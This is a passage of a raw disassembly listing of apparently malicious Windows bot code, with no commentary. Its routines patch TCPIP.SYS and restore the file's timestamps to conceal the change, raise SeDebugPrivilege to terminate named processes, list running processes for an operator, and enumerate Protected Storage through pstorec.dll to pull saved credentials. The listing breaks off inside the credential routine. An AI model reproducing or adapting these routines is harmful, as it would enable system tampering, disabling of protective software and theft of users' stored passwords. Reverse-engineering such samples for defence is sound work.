		leave
		retn
sub_408EA9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_408EF0	proc near		; DATA XREF: sub_404901+1F6o

var_638		= dword	ptr -638h
var_5B4		= byte ptr -5B4h
var_1B4		= dword	ptr -1B4h
var_1B0		= dword	ptr -1B0h
var_1AC		= byte ptr -1ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 5B4h
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	46h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+74h+var_1B4]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+114h], esi
		mov	eax, offset dword_419388
		mov	[ebp+74h+var_58], eax
		mov	edx, offset dword_41B2F8
		mov	ecx, offset dword_41B2F4
		mov	[ebp+74h+var_4C], eax
		mov	[ebp+74h+var_48], eax
		mov	[ebp+74h+var_78], eax
		mov	[ebp+74h+var_6C], eax
		mov	[ebp+74h+var_68], eax
		mov	eax, offset dword_41B2F0
		xor	edi, edi
		push	esi
		mov	[ebp+74h+var_64], offset dword_41B2EC
		mov	[ebp+74h+var_60], offset dword_41B2E8
		mov	[ebp+74h+var_5C], offset dword_41B2E4
		mov	[ebp+74h+var_54], edx
		mov	[ebp+74h+var_50], ecx
		mov	[ebp+74h+var_84], offset dword_41B2E0
		mov	[ebp+74h+var_80], offset dword_41B2DC
		mov	[ebp+74h+var_7C], offset dword_41B2D8
		mov	[ebp+74h+var_74], edx
		mov	[ebp+74h+var_70], ecx
		mov	[ebp+74h+var_38], offset asc_41B2D4 ; ""
		mov	[ebp+74h+var_34], eax
		mov	[ebp+74h+var_44], offset aS_7 ;	""
		mov	[ebp+74h+var_40], offset aG ; "G"
		mov	[ebp+74h+var_3C], eax
		mov	[ebp+74h+var_8], edi
		call	sub_40E74F
		mov	[ebp+74h+var_C], eax
		mov	[ebp+74h+var_10], edi
		mov	[esp+5C4h+var_638], 7530h
		call	dword_419060	; Sleep
		lea	eax, [ebp+74h+var_1AC]
		push	eax
		call	sub_408EA9
		pop	ecx
		mov	ebx, 80h
		push	ebx
		lea	eax, [ebp+74h+var_1AC]
		push	eax
		call	dword_419078	; SetFileAttributesA
		push	edi
		push	ebx
		push	3
		push	edi
		push	esi
		push	80000000h
		lea	eax, [ebp+74h+var_1AC]
		push	eax
		call	dword_4190E0	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+74h+arg_0], eax
		jz	short loc_409008
		lea	ecx, [ebp+74h+var_9C]
		push	ecx
		lea	ecx, [ebp+74h+var_8C]
		push	ecx
		lea	ecx, [ebp+74h+var_94]
		push	ecx
		push	eax
		call	dword_419130	; GetFileTime
		push	[ebp+74h+arg_0]
		call	dword_419064	; CloseHandle


loc_409008:				; CODE XREF: sub_408EF0+FAj
		lea	eax, [ebp+74h+var_1AC]
		push	offset aRB	; "r+b"
		push	eax
		call	sub_40E8E4
		cmp	eax, edi
		pop	ecx
		pop	ecx
		mov	[ebp+74h+arg_0], eax
		jnz	short loc_40905A
		push	[ebp+74h+var_A8]
		lea	eax, [ebp+74h+var_5B4]
		push	offset aCanNotOpenTcpi ; "Can not open TCPIP.SYS, version %d."
		push	400h
		push	eax
		call	sub_40DFEC
		lea	eax, [ebp+74h+var_5B4]
		push	eax
		call	sub_401648
		push	[ebp+74h+var_1B0]
		call	sub_40AADD
		add	esp, 18h
		jmp	loc_4093B4
; ---------------------------------------------------------------------------


loc_40905A:				; CODE XREF: sub_408EF0+130j
		mov	eax, [ebp+74h+var_A8]
		dec	eax
		jz	loc_409262
		dec	eax
		jz	loc_4091A3
		dec	eax
		jz	loc_40910E
		dec	eax
		jnz	loc_409318
		mov	[ebp+74h+var_30], 130h
		mov	[ebp+74h+var_2C], 4F5A2h
		mov	[ebp+74h+var_4], edi


loc_40908A:				; CODE XREF: sub_408EF0+1D9j
		mov	eax, [ebp+74h+var_4]
		push	edi
		push	[ebp+eax+74h+var_30]
		push	[ebp+74h+arg_0]
		call	sub_40ED7A
		push	[ebp+74h+arg_0]
		push	esi
		push	esi
		push	[ebp+74h+var_C]
		call	sub_40E94D
		mov	eax, [ebp+74h+var_4]
		push	esi
		push	[ebp+eax+74h+var_44]
		push	[ebp+74h+var_C]
		call	sub_40E0D0
		add	esp, 28h
		test	eax, eax
		jnz	short loc_4090C1
		inc	[ebp+74h+var_8]


loc_4090C1:				; CODE XREF: sub_408EF0+1CCj
		add	[ebp+74h+var_4], 4
		cmp	[ebp+74h+var_4], 0Ch
		jl	short loc_40908A
		cmp	[ebp+74h+var_8], 3
		jge	loc_409318
		mov	[ebp+74h+var_10], esi
		mov	[ebp+74h+var_4], edi


loc_4090DB:				; CODE XREF: sub_408EF0+217j
		mov	eax, [ebp+74h+var_4]
		push	edi
		push	[ebp+eax+74h+var_30]
		push	[ebp+74h+arg_0]
		call	sub_40ED7A
		push	[ebp+74h+arg_0]
		mov	eax, [ebp+74h+var_4]
		push	esi
		push	esi
		push	[ebp+eax+74h+var_44]
		call	sub_40EC73
		add	[ebp+74h+var_4], 4
		add	esp, 1Ch
		cmp	[ebp+74h+var_4], 0Ch
		jl	short loc_4090DB
		jmp	loc_409318
; ---------------------------------------------------------------------------


loc_40910E:				; CODE XREF: sub_408EF0+17Cj
		mov	[ebp+74h+var_30], 130h
		mov	[ebp+74h+var_2C], 4F322h
		mov	[ebp+74h+var_4], edi


loc_40911F:				; CODE XREF: sub_408EF0+26Ej
		mov	eax, [ebp+74h+var_4]
		push	edi
		push	[ebp+eax+74h+var_30]
		push	[ebp+74h+arg_0]
		call	sub_40ED7A
		push	[ebp+74h+arg_0]
		push	esi
		push	esi
		push	[ebp+74h+var_C]
		call	sub_40E94D
		mov	eax, [ebp+74h+var_4]
		push	esi
		push	[ebp+eax+74h+var_38]
		push	[ebp+74h+var_C]
		call	sub_40E0D0
		add	esp, 28h
		test	eax, eax
		jnz	short loc_409156
		inc	[ebp+74h+var_8]


loc_409156:				; CODE XREF: sub_408EF0+261j
		add	[ebp+74h+var_4], 4
		cmp	[ebp+74h+var_4], 8
		jl	short loc_40911F
		cmp	[ebp+74h+var_8], 2
		jge	loc_409318
		mov	[ebp+74h+var_10], esi
		mov	[ebp+74h+var_4], edi


loc_409170:				; CODE XREF: sub_408EF0+2ACj
		mov	eax, [ebp+74h+var_4]
		push	edi
		push	[ebp+eax+74h+var_30]
		push	[ebp+74h+arg_0]
		call	sub_40ED7A
		push	[ebp+74h+arg_0]
		mov	eax, [ebp+74h+var_4]
		push	esi
		push	esi
		push	[ebp+eax+74h+var_38]
		call	sub_40EC73
		add	[ebp+74h+var_4], 4
		add	esp, 1Ch
		cmp	[ebp+74h+var_4], 8
		jl	short loc_409170
		jmp	loc_409318
; ---------------------------------------------------------------------------


loc_4091A3:				; CODE XREF: sub_408EF0+175j
		mov	[ebp+74h+var_30], 130h
		mov	[ebp+74h+var_2C], 131h
		mov	[ebp+74h+var_28], 132h
		mov	[ebp+74h+var_24], 133h
		mov	[ebp+74h+var_20], 4F5A2h
		mov	[ebp+74h+var_1C], 4F5A3h
		mov	[ebp+74h+var_18], 4F5A4h
		mov	[ebp+74h+var_14], 4F5A5h
		mov	[ebp+74h+var_4], edi


loc_4091DE:				; CODE XREF: sub_408EF0+32Dj
		mov	eax, [ebp+74h+var_4]
		push	edi
		push	[ebp+eax+74h+var_30]
		push	[ebp+74h+arg_0]
		call	sub_40ED7A
		push	[ebp+74h+arg_0]
		push	esi
		push	esi
		push	[ebp+74h+var_C]
		call	sub_40E94D
		mov	eax, [ebp+74h+var_4]
		push	esi
		push	[ebp+eax+74h+var_84]
		push	[ebp+74h+var_C]
		call	sub_40E0D0
		add	esp, 28h
		test	eax, eax
		jnz	short loc_409215
		inc	[ebp+74h+var_8]


loc_409215:				; CODE XREF: sub_408EF0+320j
		add	[ebp+74h+var_4], 4
		cmp	[ebp+74h+var_4], 20h
		jl	short loc_4091DE
		cmp	[ebp+74h+var_8], 8
		jge	loc_409318
		mov	[ebp+74h+var_10], esi
		mov	[ebp+74h+var_4], edi


loc_40922F:				; CODE XREF: sub_408EF0+36Bj
		mov	eax, [ebp+74h+var_4]
		push	edi
		push	[ebp+eax+74h+var_30]
		push	[ebp+74h+arg_0]
		call	sub_40ED7A
		push	[ebp+74h+arg_0]
		mov	eax, [ebp+74h+var_4]
		push	esi
		push	esi
		push	[ebp+eax+74h+var_84]
		call	sub_40EC73
		add	[ebp+74h+var_4], 4
		add	esp, 1Ch
		cmp	[ebp+74h+var_4], 20h
		jl	short loc_40922F
		jmp	loc_409318
; ---------------------------------------------------------------------------


loc_409262:				; CODE XREF: sub_408EF0+16Ej
		mov	[ebp+74h+var_30], 130h
		mov	[ebp+74h+var_2C], 131h
		mov	[ebp+74h+var_28], 132h
		mov	[ebp+74h+var_24], 133h
		mov	[ebp+74h+var_20], 4F322h
		mov	[ebp+74h+var_1C], 4F323h
		mov	[ebp+74h+var_18], 4F324h
		mov	[ebp+74h+var_14], 4F325h
		mov	[ebp+74h+var_4], edi


loc_40929D:				; CODE XREF: sub_408EF0+3ECj
		mov	eax, [ebp+74h+var_4]
		push	edi
		push	[ebp+eax+74h+var_30]
		push	[ebp+74h+arg_0]
		call	sub_40ED7A
		push	[ebp+74h+arg_0]
		push	esi
		push	esi
		push	[ebp+74h+var_C]
		call	sub_40E94D
		mov	eax, [ebp+74h+var_4]
		push	esi
		push	[ebp+eax+74h+var_64]
		push	[ebp+74h+var_C]
		call	sub_40E0D0
		add	esp, 28h
		test	eax, eax
		jnz	short loc_4092D4
		inc	[ebp+74h+var_8]


loc_4092D4:				; CODE XREF: sub_408EF0+3DFj
		add	[ebp+74h+var_4], 4
		cmp	[ebp+74h+var_4], 20h
		jl	short loc_40929D
		cmp	[ebp+74h+var_8], 8
		jge	short loc_409318
		mov	[ebp+74h+var_10], esi
		mov	[ebp+74h+var_4], edi


loc_4092EA:				; CODE XREF: sub_408EF0+426j
		mov	eax, [ebp+74h+var_4]
		push	edi
		push	[ebp+eax+74h+var_30]
		push	[ebp+74h+arg_0]
		call	sub_40ED7A
		push	[ebp+74h+arg_0]
		mov	eax, [ebp+74h+var_4]
		push	esi
		push	esi
		push	[ebp+eax+74h+var_64]
		call	sub_40EC73
		add	[ebp+74h+var_4], 4
		add	esp, 1Ch
		cmp	[ebp+74h+var_4], 20h
		jl	short loc_4092EA


loc_409318:				; CODE XREF: sub_408EF0+183j
					; sub_408EF0+1DFj ...
		push	[ebp+74h+arg_0]
		call	sub_40E8F7
		pop	ecx
		push	edi
		push	ebx
		push	3
		push	edi
		push	2
		push	40000000h
		lea	eax, [ebp+74h+var_1AC]
		push	eax
		call	dword_4190E0	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40935B
		lea	eax, [ebp+74h+var_9C]
		push	eax
		lea	eax, [ebp+74h+var_8C]
		push	eax
		lea	eax, [ebp+74h+var_94]
		push	eax
		push	esi
		call	dword_419198	; SetFileTime
		push	esi
		call	dword_419064	; CloseHandle


loc_40935B:				; CODE XREF: sub_408EF0+44Fj
		cmp	[ebp+74h+var_10], edi
		jz	short loc_4093A2
		push	[ebp+74h+var_A8]
		lea	eax, [ebp+74h+var_5B4]
		push	offset aTcpip_sysFixed ; "TCPIP.SYS fixed!, version %d."
		push	400h
		push	eax
		call	sub_40DFEC
		push	[ebp+74h+var_A4]
		lea	eax, [ebp+74h+var_5B4]
		push	eax
		push	offset dword_41E1A8
		push	[ebp+74h+var_1B4]
		call	sub_4017B6
		lea	eax, [ebp+74h+var_5B4]
		push	eax
		call	sub_401648
		add	esp, 24h


loc_4093A2:				; CODE XREF: sub_408EF0+46Ej
		push	[ebp+74h+var_1B0]
		mov	dword_41E130, edi
		call	sub_40AADD
		pop	ecx


loc_4093B4:				; CODE XREF: sub_408EF0+165j
		push	edi
		call	dword_4190D8	; ExitThread
		int	3		; Trap to Debugger
sub_408EF0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4093BC	proc near		; CODE XREF: sub_409427+5Fp
					; sub_409427+1F2p

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	dword_4190F4	; GetCurrentProcess
		push	eax
		call	dword_4C47C8
		test	eax, eax
		jnz	short loc_4093DB
		leave
		retn
; ---------------------------------------------------------------------------


loc_4093DB:				; CODE XREF: sub_4093BC+1Bj
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+arg_0]
		xor	esi, esi
		push	esi
		call	dword_4C47AC
		test	eax, eax
		jz	short loc_409419
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_409402
		or	[ebp+var_8], 2
		jmp	short loc_409406
; ---------------------------------------------------------------------------


loc_409402:				; CODE XREF: sub_4093BC+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_409406:				; CODE XREF: sub_4093BC+44j
		push	esi
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4C46F8
		mov	esi, eax


loc_409419:				; CODE XREF: sub_4093BC+32j
		push	[ebp+var_4]
		call	dword_419064	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4093BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409427	proc near		; CODE XREF: sub_40198E+181Bp
					; sub_409650+66p

var_754		= byte ptr -754h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 754h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	49h
		xor	eax, eax
		cmp	dword_4C467C, ebx
		pop	ecx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_409620
		cmp	dword_4C46DC, ebx
		jz	loc_409620
		cmp	dword_4C4634, ebx
		jz	loc_409620
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_4093BC
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4C467C
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_409613
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		mov	[ebp+var_130], 128h
		call	dword_4C46DC
		test	eax, eax
		mov	esi, dword_419064
		jz	loc_40960E
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4C4634
		test	eax, eax
		jz	loc_40960E
		mov	edi, dword_419074
		mov	ebx, 1F0FFFh


loc_4094EB:				; CODE XREF: sub_409427+1DFj
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_40954F
		mov	[ebp+var_4], eax


loc_4094F5:				; CODE XREF: sub_409427+F0j
		mov	eax, [ebp+var_4]
		push	off_41EE1C[eax]
		lea	eax, [ebp+var_10C]
		push	eax
		call	dword_4190A4	; lstrcmpi
		test	eax, eax
		jz	short loc_40951E
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], 0Ch
		jb	short loc_4094F5
		jmp	loc_4095F4
; ---------------------------------------------------------------------------


loc_40951E:				; CODE XREF: sub_409427+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_4095F4
		push	0
		push	eax
		call	dword_419070	; TerminateProcess
		test	eax, eax
		jnz	loc_4095F4


loc_409545:				; CODE XREF: sub_409427+1B3j
		push	[ebp+var_4]
		call	esi	; CloseHandle
		jmp	loc_4095F4
; ---------------------------------------------------------------------------


loc_40954F:				; CODE XREF: sub_409427+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_4095DF
		cmp	[ebp+arg_4], eax
		jz	loc_4095F4
		push	[ebp+var_128]
		push	8
		call	dword_4C467C
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_4095A1
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	sub_40D616	; Module32First
		test	eax, eax
		push	[ebp+var_128]
		jz	short loc_4095A7
		lea	eax, [ebp+var_234]
		jmp	short loc_4095AD
; ---------------------------------------------------------------------------


loc_4095A1:				; CODE XREF: sub_409427+159j
		push	[ebp+var_128]


loc_4095A7:				; CODE XREF: sub_409427+170j
		lea	eax, [ebp+var_10C]


loc_4095AD:				; CODE XREF: sub_409427+178j
		push	eax
		lea	eax, [ebp+var_754]
		push	offset aSD	; " %s (%d)"
		push	eax
		call	sub_40D6BB
		add	esp, 10h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_754]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4017B6
		add	esp, 10h
		jmp	loc_409545
; ---------------------------------------------------------------------------


loc_4095DF:				; CODE XREF: sub_409427+12Bj
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_409627


loc_4095F4:				; CODE XREF: sub_409427+F2j
					; sub_409427+107j ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4C4634
		test	eax, eax
		jnz	loc_4094EB
		xor	ebx, ebx


loc_40960E:				; CODE XREF: sub_409427+9Dj
					; sub_409427+B3j
		push	[ebp+var_8]
		call	esi	; CloseHandle


loc_409613:				; CODE XREF: sub_409427+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_4093BC
		pop	ecx
		pop	ecx


loc_409620:				; CODE XREF: sub_409427+3Aj
					; sub_409427+46j ...
		xor	eax, eax


loc_409622:				; CODE XREF: sub_409427+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_409627:				; CODE XREF: sub_409427+1CBj
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		push	[ebp+var_8]
		mov	edi, eax
		call	esi	; CloseHandle
		push	0
		push	edi
		call	dword_419070	; TerminateProcess
		test	eax, eax
		jnz	short loc_40964B
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_409620
; ---------------------------------------------------------------------------


loc_40964B:				; CODE XREF: sub_409427+21Dj
		xor	eax, eax
		inc	eax
		jmp	short loc_409622
sub_409427	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_409650	proc near		; DATA XREF: sub_40198E+1628o

var_498		= byte ptr -498h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 498h
		mov	eax, [ebp+74h+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_98]
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+74h+var_498]
		push	offset aListingPs ; "Listing ps:"
		push	eax
		call	sub_40D6BB
		xor	esi, esi
		cmp	[ebp+74h+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4096A7
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_498]
		push	eax
		lea	eax, [ebp+74h+var_94]
		push	eax
		push	[ebp+74h+var_98]
		call	sub_4017B6
		add	esp, 10h


loc_4096A7:				; CODE XREF: sub_409650+3Cj
		push	[ebp+74h+var_10]
		lea	eax, [ebp+74h+var_94]
		push	esi
		push	esi
		push	[ebp+74h+var_C]
		push	eax
		push	[ebp+74h+var_98]
		call	sub_409427
		add	esp, 18h
		test	eax, eax
		lea	eax, [ebp+74h+var_498]
		jnz	short loc_4096CF
		push	offset aPsListComplete ; "Ps list completed."
		jmp	short loc_4096D4
; ---------------------------------------------------------------------------


loc_4096CF:				; CODE XREF: sub_409650+76j
		push	offset aPsListFailed_ ;	"Ps list failed."


loc_4096D4:				; CODE XREF: sub_409650+7Dj
		push	eax
		call	sub_40D6BB
		cmp	[ebp+74h+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4096FA
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_498]
		push	eax
		lea	eax, [ebp+74h+var_94]
		push	eax
		push	[ebp+74h+var_98]
		call	sub_4017B6
		add	esp, 10h


loc_4096FA:				; CODE XREF: sub_409650+8Fj
		lea	eax, [ebp+74h+var_498]
		push	eax
		call	sub_401648
		push	[ebp+74h+var_14]
		call	sub_40AADD
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4190D8	; ExitThread
		int	3		; Trap to Debugger
sub_409650	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_409718	proc near		; CODE XREF: sub_40198E+1887p
					; sub_40A920+57p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		xor	edi, edi
		push	0
		push	1F0FFFh
		inc	edi
		call	dword_419074	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_40974A
		push	0
		push	esi
		call	dword_419070	; TerminateProcess
		test	eax, eax
		jnz	short loc_40974A
		push	esi
		xor	edi, edi
		call	dword_419064	; CloseHandle


loc_40974A:				; CODE XREF: sub_409718+1Aj
					; sub_409718+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_409718	endp

; ---------------------------------------------------------------------------


loc_40974F:				; CODE XREF: .text:00417FC0j
					; .text:00417FC8j ...
		mov	eax, [ecx]
		test	eax, eax
		jz	short locret_40975B
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

locret_40975B:				; CODE XREF: .text:00409753j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40975C	proc near		; CODE XREF: .text:004097C6p
					; .text:004097E3p ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40976B
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_40976B:				; CODE XREF: sub_40975C+7j
		and	dword ptr [esi], 0
		mov	eax, esi
		pop	esi
		retn
sub_40975C	endp

; ---------------------------------------------------------------------------


loc_409772:				; DATA XREF: sub_40198E+1401o
		mov	eax, offset loc_417FDD
		call	sub_40F234
		mov	eax, 11A0h
		call	sub_40D9A0
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		push	21h
		pop	ecx
		lea	edi, [ebp-3C4h]
		push	offset aPstorec_dll ; "pstorec.dll"
		rep movsd
		call	dword_4190F0	; LoadLibraryA
		xor	ebx, ebx
		cmp	eax, ebx
		jz	loc_409C31
		push	offset aPstorecreatein ; "PStoreCreateInstance"
		push	eax
		call	dword_4190F8	; GetProcAddress
		mov	esi, eax
		mov	[ebp+8], ebx
		push	ebx
		push	ebx
		push	ebx
		lea	ecx, [ebp+8]
		mov	[ebp-4], ebx
		call	sub_40975C
		push	eax
		call	esi	; CloseHandle
		cmp	eax, ebx
		jl	loc_409C20
		mov	[ebp-14h], ebx
		mov	esi, [ebp+8]
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		call	sub_40975C
		mov	ecx, [esi]
		push	eax
		push	ebx
		push	ebx
		push	esi
		call	dword ptr [ecx+38h]
		cmp	eax, ebx
		jl	loc_409C10


loc_4097F9:				; CODE XREF: .text:00409BFFj
					; .text:00409C0Bj
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		push	ebx
		lea	edx, [ebp-34h]
		push	edx
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	loc_409C10
		sub	esp, 10h
		mov	edi, esp
		lea	esi, [ebp-34h]
		movsd
		movsd
		movsd
		lea	eax, [ebp-78h]
		push	offset asc_41B3C0 ; "%x"
		push	eax
		movsd
		call	dword_4191E0	; wsprintfA
		add	esp, 18h
		mov	[ebp-18h], ebx
		mov	esi, [ebp+8]
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 2
		call	sub_40975C
		mov	ecx, [esi]
		push	eax
		push	ebx
		lea	eax, [ebp-34h]
		push	eax
		push	ebx
		push	esi
		call	dword ptr [ecx+3Ch]


loc_40984E:				; CODE XREF: .text:00409BE5j
					; .text:00409BF1j
		mov	eax, [ebp-18h]
		mov	ecx, [eax]
		push	ebx
		lea	edx, [ebp-44h]
		push	edx
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	loc_409BF6
		mov	[ebp-1Ch], ebx
		mov	esi, [ebp+8]
		lea	ecx, [ebp-1Ch]
		mov	byte ptr [ebp-4], 3
		call	sub_40975C
		mov	ecx, [esi]
		push	eax
		push	ebx
		lea	eax, [ebp-44h]
		push	eax
		lea	eax, [ebp-34h]
		push	eax
		push	ebx
		push	esi
		call	dword ptr [ecx+54h]


loc_409889:				; CODE XREF: .text:00409BD7j
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax]
		push	ebx
		lea	edx, [ebp-20h]
		push	edx
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	loc_409BDC
		push	dword ptr [ebp-20h]
		mov	edi, dword_4191E0
		lea	eax, [ebp-5C4h]
		push	offset aWs	; "%ws"
		push	eax
		call	edi	; wsprintfA
		mov	eax, [ebp+8]
		add	esp, 0Ch
		push	ebx
		push	ebx
		lea	edx, [ebp-10h]
		push	edx
		lea	edx, [ebp-24h]
		push	edx
		push	dword ptr [ebp-20h]
		lea	edx, [ebp-44h]
		push	edx
		lea	edx, [ebp-34h]
		push	edx
		push	ebx
		mov	[ebp-24h], ebx
		mov	[ebp-10h], ebx
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+44h]
		push	dword ptr [ebp-10h]
		call	dword_419148	; lstrlen
		mov	esi, [ebp-24h]
		lea	eax, [esi-1]
		test	eax, eax
		jz	short loc_409926
		xor	edx, edx
		xor	ecx, ecx
		cmp	esi, ebx
		jbe	short loc_40991D


loc_4098FB:				; CODE XREF: .text:0040991Bj
		mov	eax, [ebp-10h]
		mov	al, [ecx+eax]
		cmp	al, bl
		jnz	short loc_40990F
		mov	byte ptr [ebp+edx-340h], 2Ch
		jmp	short loc_409916
; ---------------------------------------------------------------------------


loc_40990F:				; CODE XREF: .text:00409903j
		mov	[ebp+edx-340h],	al


loc_409916:				; CODE XREF: .text:0040990Dj
		inc	edx
		inc	ecx
		inc	ecx
		cmp	ecx, esi
		jb	short loc_4098FB


loc_40991D:				; CODE XREF: .text:004098F9j
		mov	[ebp+edx-341h],	bl
		jmp	short loc_40993A
; ---------------------------------------------------------------------------


loc_409926:				; CODE XREF: .text:004098F1j
		push	dword ptr [ebp-10h]
		lea	eax, [ebp-340h]
		push	offset aS_0	; "%s"
		push	eax
		call	edi	; wsprintfA
		add	esp, 0Ch


loc_40993A:				; CODE XREF: .text:00409924j
		mov	esi, dword_419144
		mov	edi, offset word_41994E
		push	edi
		lea	eax, [ebp-11ACh]
		push	eax
		call	esi	; lstrcpy
		push	edi
		lea	eax, [ebp-0BC4h]
		push	eax
		call	esi	; lstrcpy
		push	offset a5e7e8100 ; "5e7e8100"
		lea	eax, [ebp-78h]
		push	eax
		call	dword_4190C8	; lstrcmp
		test	eax, eax
		jnz	loc_409A3A
		push	edi
		lea	eax, [ebp-140h]
		push	eax
		call	esi	; lstrcpy
		lea	eax, [ebp-340h]
		push	offset asc_41A1DC ; ":"
		push	eax
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4099C4
		lea	eax, [ebp-340h]
		push	offset asc_41A1DC ; ":"
		push	eax
		call	sub_40D810
		pop	ecx
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp-140h]
		push	eax
		call	esi	; lstrcpy
		lea	eax, [ebp-340h]
